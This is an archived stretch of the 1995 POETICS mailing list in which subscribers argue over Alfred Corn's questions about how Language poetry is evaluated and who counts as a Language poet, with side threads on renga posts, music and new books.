---------- Forwarded message ----------
Date: Thu, 24 Aug 1995 03:09:21 -1000
From: Indepen <[redacted]>

To: Susan Schultz <[redacted]>
Subject: Criteria

To the POETICS List:

I know that individual posts do not necessarily reflect the views of all subscribers or represent a fair sampling of the thinking of LANGUAGE poets in general. So I'm going to continue on with an open mind and assume that answers to the questions I asked could be better put than some of those posted these past few days. Keith Tuma made sense; he thought about what he was writing before just lashing out. There are no doubt others who can do this, which I'll continue believing until evidence proves otherwise. To begin with, one small point: I didn't say posts were designed to change people's minds but instead their thinking. Why be a LANGUAGE, or any sort of poet if you're not sensitive to language? And if you have no interest in changing someone's thinking, why not just send the post to yourself and enjoy the sound of your own voice? On the possibility or impossibility of evaluating poetry: The idea that all poems are of equal interest, that no poem is either good or bad, can be believed by some people, obviously, but not by most readers. Check your own experience: when you sit down with a new magazine of poetry, do you really begin at the beginning and in perfect calm read each poem with equal interest, enjoying, learning and feeling in equal measure on every page, regardless of what happens there? If you do, you will be an Editor's Delight, the ideal subscriber, who will never dislike any of the offerings. Is this actually how you read? Or do you not abandon some poems in entire boredom, go on to others, reread some with pleasure and fascination, dismiss others with a chuckle, etc.? Be honest. By the same token, if evaluation is as contingent as some of the posts say it is, how is LP able to dismiss "mainstream" poetry as dull or retrograde or clunky or whatever? Isn't that an evaluation? If it is, on what basis is the dismissal made? What are your standards? When David Kellogg cites all the usual criteria that have been applied to the evaluation of poetry since Day One, I have to ask him why he doesn't read the "mainstream" poetry that has those qualities in abundance. Obviously there are other restrictions he is bringing to his evaluation that he doesn't mention--like (I'm just guessing) "communication forms drawn from ordinary conversational practice or logical discourse are excluded," or something like that. Whatever they are, these *extra* criteria, the ones that distinguish LP from "mainstream," ought to be describable, and that's what I'd like to hear, provided the describer can communicate clearly. My own experience: I have read in LP magazines and didn't get anything out them. I also read some essays in a collection about the movement. They didn't sound convincing. It's only because of Ron Silliman's postings on CAP-L that I looked into the question again. In an interesting post made some six months ago, he asserted that the LP movment was in the

process of splintering into multiple sub-groups who no longer shared the same aesthetic bases, and that, in effect, these groups could no longer "read" each other. I would be curious to hear whether other Langpoets agree that this is true; and, if so, what are the differences that make it impossible to care about the writings of other splinter groups? I hope that no one is going to say it is altogether impossible to discuss the ideas on which poetry or poetries are based. If so, why subscribe to a discussion group, and why claim a place in the universe of discourse? On the question of "music," shouldn't we admit that the sound techniques of actual music and verbal texts are too far removed from each other to make this metaphor at all useful? And if pure sound is all that matters in poetry, why hasn't the movement hailed Dame Edith Sitwell as one of its heroes? A final question: are Laura Riding, Dylan Thomas, John Ashbery, Michael Palmer, Ann Lauterbach, and Jorie Graham LANGUAGE poets. On what basis do you determine whether someone is writing LP?

Alfred C.

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763. **Lindz Williamson**

THEN USE IT!

Thu 24 Aug 1995

On Thu, 24 Aug 1995, maria damon wrote:

> *lindz the girl writes:*
> *... could we come up with a code*
> *word as a heading for rengas so I don't have to look at them.*
>
> *Lindz*
>
> *good idea: how 'bout RENGA?--md*

WOW, never would have thought of that myself, probably because apparently if you're born after 1965 you don't know nuttin'. So renga-ers no more flashy titles that spark my interest (eg mormon in the armoire) unless you include the word RENGA. Phew it will be such a relief, I was really stressing over finding just the right word, Thanks Maria.

The GIRL, LIndz

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764. **Gale Nelson**
Re: Criteria (fwd)
Thu 24 Aug 1995

The difficulty, sir, that I have in specifying criteria for "good poetry" is, at least in part, related to a recognition of the pioneering critical work undertaken so many decades ago by Victor Shklovsky and his Russian Formalist colleagues.

...A work may be (1) intended as prosaic and accepted as poetic, or (2) intended as poetic and accepted as prosaic. This suggests that the artistry attributed to a given work results from the way we perceive it. By "works of art," in the sense, we mean works created by special techniques designed to make the works as obviously artistic as possible. V. Shklovsky, "Art as Technique," _Russian Formalist Criticism, translated by Lemon and Reis, p. 8

Poetic imagery is a means of creating the strongest possible impression. As a method it is, depending upon its purpose, neither more nor less effective than other poetic techniques; it is neither more nor less effective than ordinary or negative parallelism, comparison, repetition, balanced structure, hyperbole, the commonly accepted rhetorical figures, and all those methods which emphasize the emotional effect of an expression (including words or even articulated sounds). ibid., pp. 8-9

And so life is reckoned as nothing. Habitualization devours works, clothes, furniture, one's wife, and the fear of war. "If the whole complex lives of many people go on unconsciously, then such lives are as if they had never been." And art exists that one may recover the sensation of life; it exists to make one feel things, to make the stone _stony._ The purpose of art is to impart the sensation of things as they are perceived and not as they are known. The technique of art is to make objects "unfamiliar," to make forms difficult, to increase the difficulty and length of perception because the process of perception is an aesthetic end in itself and must be prolonged. _Art is a way of experiencing the artfulness of an object; the object itself is not important._ [italics in the original] ibid., p. 12

In studying poetic speech in its phonetic and lexical structure as well as its characteristic distribution of words and in the characteristic thought structures compounded from the words, we find everywhere the artistic trademark -- that is, we find material obviously created to remove the automatisism of perception; the author's purpose is to create the vision which results from that deautomatized perception. A work is created "artistically" so that its perception is impeded and the greatest possible effect is produced through the slowness of its perception. As a result of this lingering, the object is perceived not in its extension in space, but, so to speak, in its continuity.

Thus "poetic language" gives satisfaction. According to Aristotle, poetic language must appear strange and wonderful; and, in fact, it is often actually foreign: the Sumerian used by the Assyrians, the Latin of Europe during the Middle Ages, the Arabisms of the Persians, the Old Bulgarian of Russian literature, or the elevated, almost literary language of folk songs. ibid., pp. 21-22.

> In light of these developments we can define poetry as -attenuated, tortuous_ speech. Poetic speech is _formed speech._ Prose is ordinary speech -- economical, easy, proper, the goddess of prose [dea prosae] is a goddess of the accurate, facile type, or the "direct" expression of a child. I shall discuss roughened form and retardation as the general _law_ of art at greater length in an article on plot construction.
> ibid., p. 23

There is "order" in art, yet not a single column of a Greek temple stands exactly in its proper order; poetic rhythm is similarly disordered rhythm. Attempts to systematize the irregularities have been made, and such attempts are part of the current problem in the theory of rhythm. It is obvious that the systematization will not work, for in reality the problem is not one of complicating the rhythm but of disordering the rhythm -- a disordering which cannot be predicted. Should the disordering rhythm become a convention, it would be ineffective as a device for the roughening of language. ibid., p. 24

If we take Shklovsky to heart (which I have done, with much thanks to playwright Paula Vogel for introducing me to his work), we recognize that criteria for "good poetry" is always shifting. A work may be written in "tradional form" in such a way that it defamiliarizes the reader's response to that form, or disrupts the reader's expectations in relation to the content. A work may also use any device (or technique if you prefer) to make the poem poetic -- to remind us of the stone... Vernacular speech, word fragments, discursive structure, random word combinations, spatial arrangement, repetition, etc., can all be used to make the reader take notice of the work at hand. So too collage, cut-up, etc., etc. Queneau's 10 to the 14th power of sonnets is most assuredly defamiliarizing in the most joyous possible ways. We live in a time when we can take joy in the possibility that vertical criteria can be swept aside -- that each work may astonish us on its own basis.

With perhaps too much zeal,

Gale Nelson

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765. **Chris Stroffolino**
Re: Criteria (fwd)
Thu 24 Aug 1995

I just wanted to reply to one point in Alfred Corn's latest points (and I do think Keith Tuma is right that Corn is a friendly ghost-- also there is intelligence and concern in his willingness to dialogue) In particular the assumption that this POETICS list is a LANGUAGE POETRY list. I'm bringing this up because I've received other notes (mostly backchannel) from people claiming fear of being stifled or making enemies etc by going against the LANG PO orthodoxy (or orthodoxies) ---To beg the question of whether there IS a LANG-PO orthodoxy for now , I first want to say that when i was told about this list, though I was told Charles (Bernstein) was running it, etc, that it was not billed to me as a LANG.PO list and there have been many OLSONION--BLACK MOUNTAIN threads as well, and even some NEW YORK SCHOOL ones (though these "factions" overlap and are not highly defined), there was even discussion on LEONARD COHEN. If there is a sense that the debates on this list are debates WITHIN the langyage community (to people like Corn) then either Bernstein and Andrews are better markerters than I give them credit for or this assumption needs to be exploded (probably both---the "eithor/or" construction of the last senstence is not the best way to say it--but it's too late now....) Chris Stroffolino

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766. **David Kellogg**
Re: Criteria (LONG)
Thu 24 Aug 1995

Dear Alfred Corn,

Since you single out Keith Tuma as the one person who thought about what he was writing before lashing out, I'll assume that I'm one of the dunderheaded lashers who disappoint (DLWD). Nevertheless, I persist.

For everybody's sake, I'll only respond to the part of this post that addressed me, or that I think were more or less addressed to questions I've fielded before.

> *On the possibility or impossibility of evaluating poetry: The idea that all poems are of equal interest, that no poem is either good or bad, can be believed by some people, obviously, but not by most readers.*

Yes. And *nobody* on this list said otherwise, not even maria; when she said that she agreed with Duncan about there being no good or bad poems that was NOT a refusal of evaluation, nor was it an "anything-goes" kind of policy.

Certainly nobody has said that all poems are of equal interest. "Interest" is precisely what is at issue, in the sense that our evaluations of poems are "interested" (read: contingent) and thus *different*. I am interested in some poetry because I like it; I'm interested in other poetry because I don't. I find boredom interesting, but boredom is usually thought of as "bad."

> *By the same token, if evaluation is as contingent as some of the posts say it is, how is LP able to dismiss "mainstream" poetry as dull or retrograde or clunky or whatever? Isn't that an evaluation? If it is, on what basis is the dismissal made? What are your standards? When David Kellogg cites all the usual criteria that have been applied to the evaluation of poetry since Day One, I have to ask him why he doesn't read the "mainstream" poetry that has those qualities in abundance. Obviously there are other restrictions he is bringing to his evaluation that he doesn't mention--like (I'm just guessing) "communication forms drawn from ordinary conversational practice or logical discourse are excluded," or something like that. Whatever they are, these *extra* criteria, the ones that distinguish LP from "mainstream," ought to be describable, and that's what I'd like to hear, provided the describer can communicate clearly.*

I guess I have to respond here, since my name's mentioned, but let me state that I have NEVER done any of the following:

a) dismissed mainstream poetry (tho I dismissed Tim Steele's prose--would you care to defend it, or describe him as "mainstream"?);

b) said I don't read mainstream poetry (I do, in fact, even the occasional Alfred Corn, even Philip Larkin, tho I once called the latter "asinine");

c) excluded any of the things he mentioned from my likings (ordinary conversational practice etc.)

In fact, poetry popularly described as LP (I won't quibble about terms here, about who is or isn't LP, I have no interest in that game, my own recent poetry learns from it but probably wouldn't be described as such) uses all of those things: ordinary conversational practice, logical discourse, etc. Sometimes its critical discourse has seemed to dismiss such elements, but that's the difference between the blanket of theory and the field of practice.

As for the dismissal of mainstream poetry by some language poets, I don't think it's more surprising than other critiques by excluded groups in other contexts, and a lot of times it's right. Just to take your own post for an example, one thing that pisses people off is the concept of a "mainstream" in the first place --something that, for most people who believe in the term, is best eaten reified. When, just to take an almost arbitrary example, J.D. McClatchy begins his Vintage book of contemporary American poetry by arguing that no camps need form because everybody already knows who the big ones are and then begins

the book *out* of chronological order with LOWELL and BISHOP, pushing Olson for example about ten poets down the line and representing him with a single poem -- well, that's disgusting. There are I'm sure lots of specific examples of exclusion from the movement's early days that others on this list could tell you about.

However, it seems to me that the anger from LPs about mainstream poetry has toned down in recent years, and why? Partly because exclusionary tactics like McClatchy's are more recognizable for the strongarming they are, and partly because some wrongs are being righted (the new Norton postmodern etc.). The breakup that Ron mentioned I think is partly due to the fact individual language poets are getting recognized, and that group identification is less attractive to leaders who are recognizable individually. (I'm not necessarily speaking of you, Ron; I'm thinking sociologically now.) Certainly Ron has advocated precisely the kind of more pluralistic reading that you seem to think language poetry excludes (see his "Canons and Institutions").

From my point of view it's you, and not me, who describe any liking of language poetry in exclusionary terms, like the way you assume that I don't read what you call "mainstream" poetry -- a pretty galling and arrogant assumption, not to mention 100% wrong. I don't need to exclude anybody to desribe my tastes. For example, my favorite poets among the language group are Ron Silliman, Lyn Hejinian, and Leslie Scalapino (tho she's maybe not defined as "in" the group by everybody). These poets make use of prose, which I find interesting, and they've opened for me ways of thinking about the poetic process (or better, procedure?) that are pretty fresh for me. With Ron there's a sense of immediacy in the project at hand, something to be done, and a willingness *not to exclude* the seemingly anomalous or "ugly" material. So some stuff gets left seemingly hanging, but not "wasted," -- or "waste" is reconceived in the process of the poem. My response to Hejinian is I guess pretty typical -- My Life was a pivotal book for me, the work that made me think, hey, there's something going on here -- and its virtues are more apparent each time I read it. Since everything I say about her has been said better somewhere else, I'll refrain. With Scalapino for me it's again a question of process, repetition, and -- in her case especially -- perspective. How a subject gets talked around, through, wrung out. Her work is exhausting, and saying "it's not for everybody" does not degrade its value *for me* and for many others.

My reasons for reading each of these poets is often different from my reasons for liking them, and may include political or research interests: these can be transpersonal, and I may find the work satisfying in these respects and worth promoting to others. I may even critique other poets as not meeting such needs (politically indifferent, not worth writing a paper on, not likely to interest students). This is all due to my situatedness as an academic, my *contingent*

(as an adjunct, highly ;-) contingent) position in the university and, beyond that, the world. I may also read other poets for other reasons. Who's to say? Me.

See? None of my reasons for liking any of these poets is based on an exclusion of conversation, logical discourse, etc. I'd appreciate it if you didn't assume wrong things about somebody you don't know for no reason other than his presence on a mailing list.

Cheers,
David
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~~~

such as a parody night and the Frank Moorhouse Perpetual Trophy for Ballroom dancing.

ASAL's newsletter, Notes & Furphies, is posted twice a year to members, and provides information about current research, and bibliographic, historical and critical notes useful for anybody interested in Australian writing.

ASAL also makes three annual literary awards: the Gold Medal of the Australian Literature Society for an outstanding literary work; the Walter McRae Russell award for the best work of literary scholarship; and the Mary Gilmore award for the best first book of poetry. The AA Philips Prize is an occasional award that marks as especially noteworthy or longstanding contribution to Australian Literature.

As well as these major activities, ASAL runs one-day conferences and seminars, and has developed a publishing program contributing to such books as The Oxford Literary Guide to Australia, The Penguin New Literary History of Australia, and the study of individual authors.

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768. Jordan Davis.
Re: Criteria (fwd)
Thu 24 Aug 1995

Dear Alfred C

Actually I think the important word in our posts (or my posts, I _love_ my voice) was "try". That is, a congenital dislike for wilfullness opposes our need to oppose what we see as travesties of the language, and what we say seems like an awkward "lashing out". I don't think you'll get very far with the false argument that we're trying to be insensitive to language. We are passionate, meaning cold when necessary, but we're not insensitive. As for the evaluation of "mainstream" poetry, I'm not agin it. Let's have a preamble to the discussion, from the pages of Poets & Writers 25th Anniversary issue (which takes the form of reflections on "25" from ... oh well, 21 writers). David Lehman quite rightly (if in a characteristically extreme way) remarks that "There are still people who think that our general cultural blight can be summed up in the word _workshop_ (as in "we workshopped my sestina today"), just as Hitler thought that the popular dance called the shimmy was the perfect metonymy for all the idiocy of America." From the same issue, and in the preface to Dana Gioia's list of 25 love poems by modern English-language poets which "deal with sexual love--_eros_ not _agape_--expressed in every possible way", come these sentences:

The only pleasure some romances provide in retrospect is their bittersweet absurdity. My only regret is that I could not list another 25 favorites. I shall have to delay that pleasure for Poets & Writers' 50th anniversary.

I realize that you are not the author of either of these passages, and I won't ask you to explain the comparison of people who distrust "workshops" to Hitler.

And now I see Mr Nelson has posted Shklovsky and Mr Tuma has sent a list of names (are catalog poems of interest?) and they are more affirmative and passionate and I'll stop.

Jordan

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769. Keith Tuma
Re: Criteria (fwd)
Thu 24 Aug 1995

Well, the conversation is getting interesting and, damn, just when I have a thousand things to do--seminars to prepare, deadlines, self-imposed deadlines. So I'm not going to write the world's longest post on why I like to read poems by, uh, Bernadette Mayer, Ron Silliman, Jerome Rothenberg, Lorine Niedecker,

Basil Bunting, Charles Bernstein, Michael Palmer, Cole Swensen, Sir Thomas Wyatt, Frank Bidart, Thomas Campion, Baudelaire, Villon, Catullus, Nathaniel Mackey, Nathaniel Tarn, Will Alexander, Robert Creeley, Leslie Scalapino, Elizabeth Bishop, Thom Gunn, Dr. Suess, Turner Cassity, Firdosi, Cid Corman, John Taggart, Clayton Eshleman, Homer, Horace, Dickinson, Susan Howe, John Skelton, Mina Loy, Amiri Baraka, Larry Eigner, Roy Fisher, Allen Fisher, Catherine Walsh, Maurice Scully, Gael Turnbull, Peter Redgrove, David Dabydeen, H. D., Wallace Stevens, Laura Riding, William Bronk, Paul Celan, Vallejo, Dante, Hugh Macdiarmid, Tom Raworth, Sappho, William Northcutt. . .oh I'm already running out of gas. It's a big and glorious world: also crowded. And I don't think of myself as much of a poet, which may make a difference.

BUT, in the spirit of friendly dialogue, I would like to ask Alfred Corn--yes I've read two of the books too, _A Various Light_ and the book about NY--a question. Just don't seem fair that you get to ask all the questions. You mention that you have looked at langpo magazines and not been impressed and read a book of essays on langpo and not been convinced. I'm wondering what magazines and what critical book those were? And what put you off or didn't convince? That would clarify some things. One final point: you seem to suggest that the only alternative to the model of discourse-as-persuasion is solipsistic blather. Can't agree.

--Keith Tuma (who was going to stop but now blathers on. . .

It may be obvious, but who knows? So I'll say that just because a name isn't on that list above doesn't mean I don't read him/her with pleasure and just because it is doesn't mean I read all of his/her work with pleasure. Must be cautious with a ghost around and--hell--we also don't want to wake up all the lurkers.

Oh, and one more thing: Michael Palmer doesn't for the most part think of himself as a language poet, though the issue is complicated. See the interview Lee Bartlett did with Palmer in the New Mexicao book _Talking Poetry_. MP can speak for himself there.

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770. **maria damon**
Re: Criteria (fwd)
Thu 24 Aug 1995

Dear Alfred Corn:
a coupla points
i never intended any of my responses to your queries to be vituperative or dismissive. i'm not "lashing out;" if i seem to be, that's my "style," as others on the list can attest; it has nothing to do with the topic.

i have never written on language poetry nor have a particular stake in its thriving or wilting. i'm on the list because i met charles bernstein at a conference and he offered to sign me up. i sd sure, great. i'd never been on a list before. i didn't know about the cap-l list, tho' as i've said, it's closely associated with some members of my department. so, in my particular case, the people who "reached out" to me are the people whose list i joined. i've felt welcome, though it's been clear during some interactions that i'm coming from a different place. i try to take to heart robert duncan's "no good or bad poetry," perhaps because as a fellow-traveler and sometime participant in all kinds of schools that stress relativity, from the pop-psych insistence on "I statements" ("I like this" rather than "this is good") to cultural studies's underlying ethos of cultural relativity (for inst., i prefer montaigne to most of his contemporaries, etc.)

anyway, those who are of the "personal experience is a bore, personal anecdotes are narcissistic and self-indulgent" persuasion (which cuts across ideological orientation, i've found) are probably dozing off by now, but i wanted to clarify one person's history w/ the POETICS list and reflections on your latest forward. come on down! (you can always use the DIGEST option)--maria d

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771. Ryan Knighton
Re: Criteriaria
Thu 24 Aug 1995

I'm still a fairly recent and novice reader of langpo and would like to throw my two-bits out, for all they're worth.

I find langpo to be closer to its poetics than most other "schools" insofar as it reads to me as theory. In it's "refusal to refer", as George put it (I think), I find myself anchored in this clause and its dynamics as referent itself. Moreover, In the reading I have done, I find it to be more historical (erudite?) than Eliot insofar as what is not being done as before or what is being resisted (i.e. formal, syntactical, political expectations [desires?]) is its momentum. What is absent, in other words, informs what is present by virtue of negation: a system of difference, I suppose. In any case, I can enjoy the clatter of words as I can enjoy O'Hara's lunch hour--I love skimming the surface--but for some reason I am left feeling uncomfortable when the within is a without. Maybe that is good, though. And I suppose the reason I say all this is because Language Poetry, when it was taught/introduced to me, was accessible through its relationships to other "schools" we played with. Maybe that is good, too.

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772. George Bowering
Re: Language Poetry and Music
Thu 24 Aug 1995

At the time I wrote about my female relatives complaining about my favorite music, I wondered whether someone would jerk a knee about the fact that I mentioned female relatives.I did not mention "all" my female relatives. It happens that I have just one wife and one kid, who is my daughter, and had no father to listen to my record player. In fact my first dog liked Charles Parker and could not abide Coltrane. When I reared two of his sons (male) they didnt mind Coltrane, but ran out of the room into the basement when I played Giussepe Logan or John Chicai or however you spell it. My cats now live outside the house, and my daughter digs alternative garage bands. My wife Angela likes early Coltrane.

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773. George Bowering
Re: the renga that took the place of itself
Thu 24 Aug 1995

Yeah, but what will we do if some wag titles her message RENGA and then makes an interesting point about Nicole Brossard instead?

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774. Ryan Knighton
Re: Language Poetry and Music
Thu 24 Aug 1995

Actually George's daughter is my roommate adn she likes Chet Baker. George just plays everythin too loud, including during classes.

But this discussion raises an interesting question, for me anyway. I was raised on pop music and find a lot of jazz elusive, even annoying, because I haven't a sense of its tradition, its lineage and evolution. Is it me or is this required to HEAR what's going on. Or, conversely, is this required to HEAR pop songs (does one need to know that liverpool band in order to get the irony of the Manchester scene, for ex.)

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775. **Ryan Knighton**
Re: the renga that took the place of itself
Thu 24 Aug 1995

Then we'll have to mire that interesting point amongst a
litany of disfunctional renga lines.

GB wrote:

> *Yeah, but what will we do if some wag titles her message RENGA and then makes an interesting point about Nicole Brossard instead?*

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776. **David Kellogg**
Re: Criteria (short)
Thu 24 Aug 1995

Sorry for inflicting a rather long post on everybody. But if I could just say two things more, forms of agreement really:

1) Chris is right that this is NOT a langpo list, and that a variety of perspectives get articulated here;

2) what maria said about style goes for me as well. A list is a conversational forum; a lot of what gets said may seem rather blunt. (Tho looking back at my post dismissed with others as lashing out, there's nothing of substance I'd really change).

Cheers,
David
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~~~

> *I am neither a Puritan nor a father. I did not ask that anyone be sacrificed, let alone Susan Howe, whose poetry I haven't read. Susan Dunn objects to an alleged scapegoating, but in doing so scapegoats CAP-L in general and me in particular*"

My puritan narrative was not meant to be taken literally. It was meant as an ironic absurdity. There was no intention of slander. I am truly mortified that it was taken as such.

Susan Dunn [redacted]

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778. David Kellogg
Re: Criteria (fwd)
Thu 24 Aug 1995

> *A final question: are Laura Riding, Dylan Thomas, John Ashbery, Michael Palmer, Ann Lauterbach, and Jorie Graham LANGUAGE poets.*

yes, no, yes, yes, yes, no. Three more and you can have the poetry Hollywood Squares. I nominate Corn, Silliman, and Susan Howe.

XXXXXOOOOO,
David
~~~
~~~

correct, & I don't think the mainstream can be easily characterized-- but you can often look at the publisher of a book & know whether what's inside is gonna be drek or not. I work in a bookstore & confirm this to myself daily.

It is sociological I think. I come almost entirely out of New American Poetry through that to l.p.-- & have recently been hired to teach just that-- from me thy're gonna get O'Hara, Mayer, Armantrout, Shapiro, Bernstein, etc. The "splintering" Ron refered to is a result of two things I believe-- the increase in audience for New American/l.p. & economic circumstances. Many excellent writers my age are scrounging for $200 to publish a chapbook-- their audience becomes local. --Rod

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780. Rod Smith
new & forthcoming
Thu 24 Aug 1995

"Bookstore guy" here to mention a few things forthcoming & new: Carla Harryman's long-awaited City Lights book _There Never Was A Rose Without A Thorn_ is out!

Asia & Haiti by Will Alexander is just out from Sun & Moon.

U. Iowa published a book worth reading: _Voices Cast Out To Talk Us In_ by Ed Roberson.

Forthcoming Sept. _Walter Benjamin: A Biography_ by Momme Broderson. Apparently this is THE biography, translated by Malcolm Green. Verso hardcover 30 dollars.

What else. . . new Ashbery from FSG in the fall. Selected Watten from Sun & Moon, "Forthcoming" as they say. Alferi trans Swenson just out Sun & Moon. Still haven't seen the Celan from Sun & Moon. Candidate for title of the fall _The Missionary Position: The Ideology of Mother Teresa_ by Hitchens, also Verso. Sun & Moon reprints _The Crystal Text_. BIG Olson book by Ralph Maud $45 hardcover from Southern Illonois, fall sometime. Feb. brings Mina Loy bio & reprint of Baedeker by FSG, suspect Marissa has opinions on these. Big drama anthology from Sun & Moon. Collected Padgett from Godine. Retallack's conversations with Cage from Wesleyan in Oct. Rothenberg/Joris anthology. Kerouac _Book of Blues_. Gym class, oceans to warn by, & truth. . . (didn't feel like scrolling to the end of the renga) --Rod PS-- NYC recently lost 3 independent stores to the chains. Is that "great selection" at Barnes & Noble still gonna be there after they're all gone?

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781. **Susan Schultz**
Re: Criteria (fwd)
Thu 24 Aug 1995

---------- Forwarded message ----------
Date: Thu, 24 Aug 1995 15:22:24 -1000
From: Indepen <[redacted]>
To: Susan Schultz <[redacted]>
Subject: Re: Criteria (fwd)

To Keith Tuma:

The magazine's name was, no, there were two of them. But I can't remember their names. It's been ten years. The anthology of critical prose was titled L=A=N=G=U=A=G=E. Was Charles Bernstein the editor? Can't remember. Are there better collections of essays on the movement than this one? And what are regarded as the best magazines? From your list of favorite poets, Keith, it seems to me that you don't restrict your tastes to the new movement. WHich means it isn't an orthodoxy for you, but simply one of the places you find interesting writing--is that a fair summary of what you are saying? Is this typical of the subscribers to POETICS, or, on the other hand, do most of the subscribers hew closer to the line on what is legit and what not?

Alfred Corn

↑ Index

782. **Ryan Knighton**
Re: new & forthcoming
Fri 25 Aug 1995

Maybe I'll add, since we're pluggin good stuff, George Stanley's new book is due in September. I think it's _Gentle Northern Summer_ or thereabouts.

↑ Index

783. **Lindz Williamson**
who is this guy?
Fri 25 Aug 1995

Corn wrote:

"Is this typical of the subscribers to POETICS, or, on the other hand, do most of the subscribers hew closer to the line on what is legit and what not?"

Why are we being attacked? I find this whole discussion very confusing as I too am new to the concept of language poets and " mainstream" poets. I don't really consider anytype of poetry mainstream as it still focuses on a certain

section of the masses, but i suppose within the community there has to be a norm. But howw is our discussion typical of anything? Everyone here is so vocal in expressing themsleves, we never seem to agree on anything and I like it. The dicussion is always good when things get hot. But who is this guy who's trying to define us, and (oh god) make generalizations about us. He's worse than a lurker as he isn't even part of the list.

Lindz

↑ Index

784. Tony Green
Re: Criteria (fwd)
Fri 25 Aug 1995

I've been noticing ever since I've been on the list, the absence of a lot of writers associated with L=, and friends less clearly so included too whose writings I've read and enjoyed. No Gottlieb, or Seaton, or Tom Beckett-- no Johanna Drucker -- no Grenier or Eigner, Susan Howe, Jackson Mac Low, Hannah Weiner. I don't see why anyone would call this a L= . Is there some particular U.DS. academic politics here that I'm not "getting"?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

785. Tony Green
Re: Mitchellmania, Harpermania
Fri 25 Aug 1995

Sure, will it tow my Ford Laser while I ride with you?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand

Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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786. Louis Cabri
poetry/prose thinking
Fri 25 Aug 1995

The temporal axis of engagement on this listserv virtually garantees that its corpus - the prose as much as the poetry - is collaboratively written, whether acknowledged, and to what degree, or not. I for one have purposely listened-up for that in posting to the poem. In fact I'd say that a lot of the poem has to do with how to reflexively acknowledge the collaborative nature of the listerv itself (and its concerns, and the reading horizons of its various non/participants, etc). So I am surprised at the unthinking tilt against the listserv's recent development, to wit: the ongoing, collaboratively written poem.

Up til now I've tried to engage with these prosaic prods by means of adding lines to versions of the poem. But how can this persistent antagonism toward the poetry be explained? What does it say about 'who' we are when we read, how we read/think, and what we are reading for (and all this in specific relation to the communal, processual address permitted by the listserv?)? Is it really - it seems endemic to computer technology, complaints of how slow it is - the repeated lines that are irksome as some have politely said, or questions of lack of time, or is it more like a judgement on the _quality_ of the 'slowed perception' that the lines require?

These questions are for the poetry contributors as well. What does this decision mean: of when and what to contribute to the poem, and what and when to contribute to the prose instead? The semantic content of the prose (e.g. reaching for facts about...) is in some ways accountable to/by the institutional/pedagogical context that implicitly lurks 'beneath' the listerv (viz. university addresses appended to contributor names).

Some of these questions, the way I've quickly sketched em, may seem to demand of contributors a 'self-inquiring' kind of response, but I do mean them to be read in more of an objective sense than that.

For subjectively speaking, I could evilly say more than the following about how I find the prose posts at their worst to be irredeemably complacent, inertial, phatic, self-regarding, vapidly 'spontaneous', substitute television - just as some of you no doubt could and have said and implied as much about your reading experience of the poetry. So in other words: this kind of judgement on quality ain't an interesting pursuit on these terms - and there seems to be a general consensus on this. In any event, to go on as I have just done wouldn't explain

why this antagonism exists in the first place, nor how to theorize it in a reflexive way as a means toward interpreting the nature of this listserv practice, and the potentials for both its poetry and its prose. As we know blah blah blah, the history of prose, in all its forms - and this evidently is no exception - is one of positioning itself as the natural communicative ideology, in comparison to poetry. This seems the case recently regardless of medium - so that, for instance, the poetry on the listserv is criticized for being "hard-copy," whereas there is no reflexive critique at all of the listserv prose as being equally - if not more - so. That's just one recent example of the agonism between the genres. Now there is a preference for debate across the boundary of the listerv itself (with a non-member) _in prose_, rather than beginning one between the thinking in prose and in poetry on the listserv itself. Expansionism, always the way. How can people interested in poetry not be interested in thinking in poetry especially in this listserv format? The common denominator prevails: its the most conservative articulation that gets the attention: so there's a collective rallying of 'explaining to do' when the listserv is challenged by someone 'from outside'. While the listserv's decentred centre, the poem itself, performs its own variety of common excesses. This too long, but hey, only the letters in these words have repeated (some might find comfort in saying).

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787. Alan Sondheim
Re: Language Poetry
Fri 25 Aug 1995

I don't understand these classifications, emphases on definitions, taxonomies, generations. Is this the point of poetry, to be slotted? Is it only for other poets? If language poetry is a framework for a movement, does one _belong_ or not?

Taxonomy's the death of it. Again, if Kristeva found a revolution in poetic language, classification will kill it.

Who are we writing for?

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788. beard
Re: Language Poetry and Music
Fri 25 Aug 1995

Would you count the libretto to _Einstein on the Beach_ as LangPo? For example, Christopher Knowles's text, "These are the days", with its repetitions, strange juxtapositions and fragmentations of words?

Or, moving towards "popular" music, how about the lyrics to Underworld's _dubnobasswithmyheadman_ album? They certainly rely upon tone and fragmentary images more than any structured exposition - "30000ft above the earth, Elvis, fresh meat and a little whipped cream" - although they tend towards the Avant- Pop a la Mark Leyner. The liner notes form an interesting visual/textual piece, and as the design group _Tomato_ they published a book called _mm, skyscraper, I love you_ using the same techniques.

Or, come to think of it, does scat singing count as sound poetry?

just a few ramblings,

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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789. **Michael Boughn**

Corn pone

Fri 25 Aug 1995

> *From your list of favorite poets, Keith, it seems to me that you don't restrict your tastes to the new movement. WHich means it isn't an orthodoxy for you, but simply one of the places you find interesting writing--is that a fair summary of what you are saying? Is this typical of the subscribers to POETICS, or, on the other hand, do most of the subscribers hew closer to the line on what is legit and what not?*
>
> *Alfred Corn*

I think what's most amusing about this whole exchange for me is the way Professor Corn so clumsily masks his own rare sectarianism behind accusations of sectarianism.

Do you think we should let him see the loyalty oath we have to sign before Papa Charlie let's us on the list?

Mike

[redacted]

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790. **beard**
27 - a reading
Fri 25 Aug 1995

I hope this doesn't sound like advertising ...

but I've just completed a hypertext poem, one that invites the reader to construct her or his own reading, and I'd like to mention the URL of the site in the hope that people here could email or post their readings, so that I can include these readings with the poem on my website.

The poem is called "27 - a reading", and is a tentative investigation of the first 27 years of my life (as of tomorrow) in the form of fragments from journals, letters, stories and notes. Both the highly structured nature of the sequence (an attempt to deflect my tendency to jump to conclusions) and the idea of "an autobiography in which I refuse to tell the story of my life" were suggested by Alan Loney's book _The Erasure Tapes_.

